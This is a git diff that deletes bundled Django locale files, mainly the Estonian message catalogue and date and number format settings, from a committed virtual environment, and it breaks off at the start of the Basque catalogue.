-msgid "Nepali" -msgstr "nepali" - -msgid "Dutch" -msgstr "hollandi" - -msgid "Norwegian Nynorsk" -msgstr "norra (nynorsk)" - -msgid "Ossetic" -msgstr "osseetia" - -msgid "Punjabi" -msgstr "pandžab" - -msgid "Polish" -msgstr "poola" - -msgid "Portuguese" -msgstr "portugali" - -msgid "Brazilian Portuguese" -msgstr "brasiilia portugali" - -msgid "Romanian" -msgstr "rumeenia" - -msgid "Russian" -msgstr "vene" - -msgid "Slovak" -msgstr "slovaki" - -msgid "Slovenian" -msgstr "sloveeni" - -msgid "Albanian" -msgstr "albaania" - -msgid "Serbian" -msgstr "serbia" - -msgid "Serbian Latin" -msgstr "serbia (ladina)" - -msgid "Swedish" -msgstr "rootsi" - -msgid "Swahili" -msgstr "suahiili" - -msgid "Tamil" -msgstr "tamiili" - -msgid "Telugu" -msgstr "telugu" - -msgid "Tajik" -msgstr "tadžiki" - -msgid "Thai" -msgstr "tai" - -msgid "Turkmen" -msgstr "türkmeeni" - -msgid "Turkish" -msgstr "türgi" - -msgid "Tatar" -msgstr "tatari" - -msgid "Udmurt" -msgstr "udmurdi" - -msgid "Uyghur" -msgstr "Uiguuri" - -msgid "Ukrainian" -msgstr "ukrania" - -msgid "Urdu" -msgstr "urdu" - -msgid "Uzbek" -msgstr "Usbeki" - -msgid "Vietnamese" -msgstr "vietnami" - -msgid "Simplified Chinese" -msgstr "lihtsustatud hiina" - -msgid "Traditional Chinese" -msgstr "traditsiooniline hiina" - -msgid "Messages" -msgstr "Sõnumid" - -msgid "Site Maps" -msgstr "Saidikaardid" - -msgid "Static Files" -msgstr "Staatilised failid" - -msgid "Syndication" -msgstr "Sündikeerimine" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "See lehe number ei ole täisarv" - -msgid "That page number is less than 1" -msgstr "See lehe number on väiksem kui 1" - -msgid "That page contains no results" -msgstr "See leht ei sisalda tulemusi" - -msgid "Enter a valid value." -msgstr "Sisestage korrektne väärtus." - -msgid "Enter a valid domain name." -msgstr "Sisestage korrektne domeeninimi." - -msgid "Enter a valid URL." -msgstr "Sisestage korrektne URL." - -msgid "Enter a valid integer." -msgstr "Sisestage korrektne täisarv." - -msgid "Enter a valid email address." -msgstr "Sisestage korrektne e-posti aadress." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Sisestage korrektne “nälk”, mis koosneb tähtedest, numbritest, " -"alakriipsudest või sidekriipsudest." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Sisestage korrektne “nälk”, mis koosneb Unicode tähtedest, numbritest, ala- " -"või sidekriipsudest." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Sisestage korrektne %(protocol)s aadress." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 või IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Sisestage ainult komaga eraldatud numbreid." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Veendu, et see väärtus on %(limit_value)s (hetkel on %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Veendu, et see väärtus on väiksem või võrdne kui %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Veendu, et see väärtus on suurem või võrdne kui %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Veendu, et see väärtus on arvu %(limit_value)s kordne." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Väärtuses peab olema vähemalt %(limit_value)d tähemärk (praegu on " -"%(show_value)d)." -msgstr[1] "" -"Väärtuses peab olema vähemalt %(limit_value)d tähemärki (praegu on " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Väärtuses võib olla kõige rohkem %(limit_value)d tähemärk (praegu on " -"%(show_value)d)." -msgstr[1] "" -"Väärtuses võib olla kõige rohkem %(limit_value)d tähemärki (praegu on " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Sisestage arv." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Veenduge, et kogu numbrikohtade arv ei oleks suurem kui %(max)s." -msgstr[1] "Veenduge, et kogu numbrikohtade arv ei oleks suurem kui %(max)s." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Veenduge, et komakohtade arv ei oleks suurem kui %(max)s." -msgstr[1] "Veenduge, et komakohtade arv ei oleks suurem kui %(max)s." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Veenduge, et komast vasakul olevaid numbreid ei oleks rohkem kui %(max)s." -msgstr[1] "" -"Veenduge, et komast vasakul olevaid numbreid ei oleks rohkem kui %(max)s." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Faililaiend “%(extension)s” pole lubatud. Lubatud laiendid on: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Tühjad tähemärgid ei ole lubatud." - -msgid "and" -msgstr "ja" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s väljaga %(field_labels)s on juba olemas." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Kitsendust “%(name)s” on rikutud." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Väärtus %(value)r ei ole kehtiv valik." - -msgid "This field cannot be null." -msgstr "See lahter ei tohi olla tühi." - -msgid "This field cannot be blank." -msgstr "See väli ei saa olla tühi." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Sellise %(field_label)s-väljaga %(model_name)s on juba olemas." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s peab olema unikaalne %(date_field_label)s %(lookup_type)s " -"suhtes." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Lahter tüüpi: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s” väärtus peab olema Tõene või Väär." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s” väärtus peab olema Tõene, Väär või Tühi." - -msgid "Boolean (Either True or False)" -msgstr "Tõeväärtus (Kas tõene või väär)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String (kuni %(max_length)s märki)" - -msgid "String (unlimited)" -msgstr "String (piiramatu)" - -msgid "Comma-separated integers" -msgstr "Komaga eraldatud täisarvud" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s” väärtusel on vale kuupäevaformaat. See peab olema kujul AAAA-KK-" -"PP." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"“%(value)s” väärtusel on õige formaat (AAAA-KK-PP), kuid kuupäev on vale." - -msgid "Date (without time)" -msgstr "Kuupäev (kellaajata)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s” väärtusel on vale formaat. Peab olema formaadis AAAA-KK-PP HH:" -"MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s” väärtusel on õige formaat (AAAA-KK-PP HH:MM[:ss[.uuuuuu]][TZ]), " -"kuid kuupäev/kellaaeg on vale." - -msgid "Date (with time)" -msgstr "Kuupäev (kellaajaga)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s” väärtus peab olema kümnendarv." - -msgid "Decimal number" -msgstr "Kümnendmurd" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s” väärtusel on vale formaat. Peab olema formaadis [DD] " -"[[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Kestus" - -msgid "Email address" -msgstr "E-posti aadress" - -msgid "File path" -msgstr "Faili asukoht" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s” väärtus peab olema ujukomaarv." - -msgid "Floating point number" -msgstr "Ujukomaarv" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s” väärtus peab olema täisarv." - -msgid "Integer" -msgstr "Täisarv" - -msgid "Big (8 byte) integer" -msgstr "Suur (8 baiti) täisarv" - -msgid "Small integer" -msgstr "Väike täisarv" - -msgid "IPv4 address" -msgstr "IPv4 aadress" - -msgid "IP address" -msgstr "IP aadress" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s” väärtus peab olema kas Tühi, Tõene või Väär." - -msgid "Boolean (Either True, False or None)" -msgstr "Tõeväärtus (Kas tõene, väär või tühi)" - -msgid "Positive big integer" -msgstr "Positiivne suur täisarv" - -msgid "Positive integer" -msgstr "Positiivne täisarv" - -msgid "Positive small integer" -msgstr "Positiivne väikene täisarv" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Nälk (kuni %(max_length)s märki)" - -msgid "Text" -msgstr "Tekst" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s” väärtusel on vale formaat. Peab olema formaadis HH:MM[:ss[." -"uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"“%(value)s” väärtusel on õige formaat (HH:MM[:ss[.uuuuuu]]), kuid kellaaeg " -"on vale." - -msgid "Time" -msgstr "Aeg" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Töötlemata binaarandmed" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” ei ole korrektne UUID." - -msgid "Universally unique identifier" -msgstr "Universaalne unikaalne identifikaator" - -msgid "File" -msgstr "Fail" - -msgid "Image" -msgstr "Pilt" - -msgid "A JSON object" -msgstr "JSON objekt" - -msgid "Value must be valid JSON." -msgstr "Väärtus peab olema korrektne JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "%(model)s isendit %(field)s %(value)r ei ole kehtiv valik." - -msgid "Foreign Key (type determined by related field)" -msgstr "Välisvõti (tüübi määrab seotud väli) " - -msgid "One-to-one relationship" -msgstr "Üks-ühele seos" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s seos" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s seosed" - -msgid "Many-to-many relationship" -msgstr "Mitu-mitmele seos" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "See lahter on nõutav." - -msgid "Enter a whole number." -msgstr "Sisestage täisarv." - -msgid "Enter a valid date." -msgstr "Sisestage korrektne kuupäev." - -msgid "Enter a valid time." -msgstr "Sisestage korrektne kellaaeg." - -msgid "Enter a valid date/time." -msgstr "Sisestage korrektne kuupäev ja kellaaeg." - -msgid "Enter a valid duration." -msgstr "Sisestage korrektne kestus." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Päevade arv peab jääma vahemikku {min_days} kuni {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Ühtegi faili ei saadetud. Kontrollige vormi kodeeringutüüpi." - -msgid "No file was submitted." -msgstr "Ühtegi faili ei saadetud." - -msgid "The submitted file is empty." -msgstr "Saadetud fail on tühi." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Veenduge, et faili nimes poleks rohkem kui %(max)d märk (praegu on " -"%(length)d)." -msgstr[1] "" -"Veenduge, et faili nimes poleks rohkem kui %(max)d märki (praegu on " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Palun laadige fail või märgistage 'tühjenda' kast, mitte mõlemat." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Laadige korrektne pilt. Fail, mille laadisite, ei olnud kas pilt või oli " -"fail vigane." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Valige korrektne väärtus. %(value)s ei ole valitav." - -msgid "Enter a list of values." -msgstr "Sisestage väärtuste nimekiri." - -msgid "Enter a complete value." -msgstr "Sisestage täielik väärtus." - -msgid "Enter a valid UUID." -msgstr "Sisestage korrektne UUID." - -msgid "Enter a valid JSON." -msgstr "Sisestage korrektne JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Peidetud väli %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Palun kinnitage kõige rohkem %(num)d vormi." -msgstr[1] "Palun kinnitage kõige rohkem %(num)d vormi." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Palun kinnitage vähemalt %(num)d vormi." -msgstr[1] "Palun kinnitage vähemalt %(num)d vormi." - -msgid "Order" -msgstr "Järjestus" - -msgid "Delete" -msgstr "Kustuta" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Palun parandage duplikaat-andmed lahtris %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Palun parandage duplikaat-andmed lahtris %(field)s, mis peab olema unikaalne." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Palun parandage allolevad duplikaat-väärtused" - -msgid "The inline value did not match the parent instance." -msgstr "Pesastatud väärtus ei sobi ülemobjektiga." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Valige korrektne väärtus. Valitud väärtus ei ole valitav." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” ei ole korrektne väärtus." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s ei saanud tõlgendada ajavööndis %(current_timezone)s; see on " -"kas mitmetähenduslik või seda ei eksisteeri." - -msgid "Clear" -msgstr "Tühjenda" - -msgid "Currently" -msgstr "Hetkel" - -msgid "Change" -msgstr "Muuda" - -msgid "Unknown" -msgstr "Tundmatu" - -msgid "Yes" -msgstr "Jah" - -msgid "No" -msgstr "Ei" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "jah,ei,võib-olla" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bait" -msgstr[1] "%(size)d baiti" - -#, python-format -msgid "%s KB" -msgstr "%s kB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.l." - -msgid "a.m." -msgstr "e.l." - -msgid "PM" -msgstr "PL" - -msgid "AM" -msgstr "EL" - -msgid "midnight" -msgstr "südaöö" - -msgid "noon" -msgstr "keskpäev" - -msgid "Monday" -msgstr "esmaspäev" - -msgid "Tuesday" -msgstr "teisipäev" - -msgid "Wednesday" -msgstr "kolmapäev" - -msgid "Thursday" -msgstr "neljapäev" - -msgid "Friday" -msgstr "reede" - -msgid "Saturday" -msgstr "laupäev" - -msgid "Sunday" -msgstr "pühapäev" - -msgid "Mon" -msgstr "esmasp." - -msgid "Tue" -msgstr "teisip." - -msgid "Wed" -msgstr "kolmap." - -msgid "Thu" -msgstr "neljap." - -msgid "Fri" -msgstr "reede" - -msgid "Sat" -msgstr "laup." - -msgid "Sun" -msgstr "pühap." - -msgid "January" -msgstr "jaanuar" - -msgid "February" -msgstr "veebruar" - -msgid "March" -msgstr "märts" - -msgid "April" -msgstr "aprill" - -msgid "May" -msgstr "mai" - -msgid "June" -msgstr "juuni" - -msgid "July" -msgstr "juuli" - -msgid "August" -msgstr "august" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "oktoober" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "detsember" - -msgid "jan" -msgstr "jaan" - -msgid "feb" -msgstr "veeb" - -msgid "mar" -msgstr "märts" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "mai" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sept" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dets" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "jaan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "veeb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "mär." - -msgctxt "abbrev. month" -msgid "April" -msgstr "apr." - -msgctxt "abbrev. month" -msgid "May" -msgstr "mai" - -msgctxt "abbrev. month" -msgid "June" -msgstr "juuni" - -msgctxt "abbrev. month" -msgid "July" -msgstr "juuli" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "dets." - -msgctxt "alt. month" -msgid "January" -msgstr "jaanuar" - -msgctxt "alt. month" -msgid "February" -msgstr "veebruar" - -msgctxt "alt. month" -msgid "March" -msgstr "märts" - -msgctxt "alt. month" -msgid "April" -msgstr "aprill" - -msgctxt "alt. month" -msgid "May" -msgstr "mai" - -msgctxt "alt. month" -msgid "June" -msgstr "juuni" - -msgctxt "alt. month" -msgid "July" -msgstr "juuli" - -msgctxt "alt. month" -msgid "August" -msgstr "august" - -msgctxt "alt. month" -msgid "September" -msgstr "september" - -msgctxt "alt. month" -msgid "October" -msgstr "oktoober" - -msgctxt "alt. month" -msgid "November" -msgstr "november" - -msgctxt "alt. month" -msgid "December" -msgstr "detsember" - -msgid "This is not a valid IPv6 address." -msgstr "See ei ole korrektne IPv6 aadress." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "või" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d aasta" -msgstr[1] "%(num)d aastat" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d kuu" -msgstr[1] "%(num)d kuud" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d nädal" -msgstr[1] "%(num)d nädalat" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d päev" -msgstr[1] "%(num)d päeva" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d tund" -msgstr[1] "%(num)d tundi" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minut" -msgstr[1] "%(num)d minutit" - -msgid "Forbidden" -msgstr "Keelatud" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF verifitseerimine ebaõnnestus. Päring katkestati." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Näete seda sõnumit, kuna käesolev HTTPS leht nõuab “Viitaja päise” saatmist " -"teie brauserile, kuid seda ei saadetud. Seda päist on vaja " -"turvakaalutlustel, kindlustamaks et teie brauserit ei ole kolmandate " -"osapoolte poolt üle võetud." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Kui olete oma brauseri seadistustes välja lülitanud “Viitaja” päised siis " -"lülitage need taas sisse vähemalt antud lehe jaoks või HTTPS üheduste jaoks " -"või “sama-allika” päringute jaoks." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Kui kasutate silti või " -"saadate päist “Referrer-Policy: no-referrer”, siis palun eemaldage need. " -"CSRF kaitse vajab range viitaja kontrolliks päist “Referer”. Kui privaatsus " -"on probleemiks, kasutage alternatiive nagu " -"linkidele, mis viivad kolmandate poolte lehtedele." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Näete seda teadet, kuna see leht vajab CSRF küpsist vormide postitamiseks. " -"Seda küpsist on vaja turvakaalutlustel, kindlustamaks et teie brauserit ei " -"ole kolmandate osapoolte poolt üle võetud." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Kui olete oma brauseris küpsised keelanud, siis palun lubage need vähemalt " -"selle lehe jaoks või “sama-allika” päringute jaoks." - -msgid "More information is available with DEBUG=True." -msgstr "Saadaval on rohkem infot kasutades DEBUG=True" - -msgid "No year specified" -msgstr "Aasta on valimata" - -msgid "Date out of range" -msgstr "Kuupäev vahemikust väljas" - -msgid "No month specified" -msgstr "Kuu on valimata" - -msgid "No day specified" -msgstr "Päev on valimata" - -msgid "No week specified" -msgstr "Nädal on valimata" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Ei leitud %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Tulevane %(verbose_name_plural)s pole saadaval, sest %(class_name)s." -"allow_future on False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Vigane kuupäeva sõne “%(datestr)s” lähtudes formaadist “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Päringule vastavat %(verbose_name)s ei leitud" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Lehekülg pole “viimane” ja ei saa teda konvertida täisarvuks." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Vigane leht (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Tühi list ja “%(class_name)s.allow_empty” on Väär." - -msgid "Directory indexes are not allowed here." -msgstr "Kausta sisuloendid ei ole siin lubatud." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” ei eksisteeri" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s sisuloend" - -msgid "The install worked successfully! Congratulations!" -msgstr "Paigaldamine õnnestus! Palju õnne!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Vaata release notes Djangole %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Näete seda lehte, kuna teil on määratud DEBUG=True Django seadete failis ja te ei ole ühtki " -"URLi seadistanud." - -msgid "Django Documentation" -msgstr "Django dokumentatsioon" - -msgid "Topics, references, & how-to’s" -msgstr "Teemad, viited, & õpetused" - -msgid "Tutorial: A Polling App" -msgstr "Õpetus: Küsitlusrakendus" - -msgid "Get started with Django" -msgstr "Alusta Djangoga" - -msgid "Django Community" -msgstr "Django Kogukond" - -msgid "Connect, get help, or contribute" -msgstr "Suhelge, küsige abi või panustage" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/et/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/et/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/et/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/et/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 625c049b..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/et/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/et/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/et/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 07c37f8e..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/et/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/et/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/et/formats.py deleted file mode 100644 index 3b2d9ba4..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/et/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. F Y" -TIME_FORMAT = "G:i" -# DATETIME_FORMAT = -# YEAR_MONTH_FORMAT = -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "d.m.Y" -# SHORT_DATETIME_FORMAT = -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = " " # Non-breaking space -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/eu/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/eu/LC_MESSAGES/django.mo deleted file mode 100644 index 031ad434..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/eu/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/eu/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/eu/LC_MESSAGES/django.po deleted file mode 100644 index f3e91a86..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/eu/LC_MESSAGES/django.po +++ /dev/null @@ -1,1313 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Aitzol Naberan , 2013,2016 -# Ander Martinez , 2013-2014 -# Eneko Illarramendi , 2017-2019,2021-2022,2024 -# Jannis Leidel , 2011 -# jazpillaga , 2011 -# julen, 2011-2012 -# julen, 2013,2015 -# Mikel Maldonado , 2021 -# totorika93 , 2012 -# 67feb0cba3962a6c9f09eb0e43697461_528661a , 2013 -# Urtzi Odriozola , 2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 06:49+0000\n" -"Last-Translator: Eneko Illarramendi , " -"2017-2019,2021-2022,2024\n" -"Language-Team: Basque (http://app.transifex.com/django/django/language/eu/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: eu\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabiera" - -msgid "Algerian Arabic" -msgstr "Algeriar Arabiera" - -msgid "Asturian" -msgstr "Asturiera" - -msgid "Azerbaijani" -msgstr "Azerbaijanera" - -msgid "Bulgarian" -msgstr "Bulgariera" - -msgid "Belarusian" -msgstr "Bielorrusiera" - -msgid "Bengali" -msgstr "Bengalera" - -msgid "Breton" -msgstr "Bretoia" - -msgid "Bosnian" -msgstr 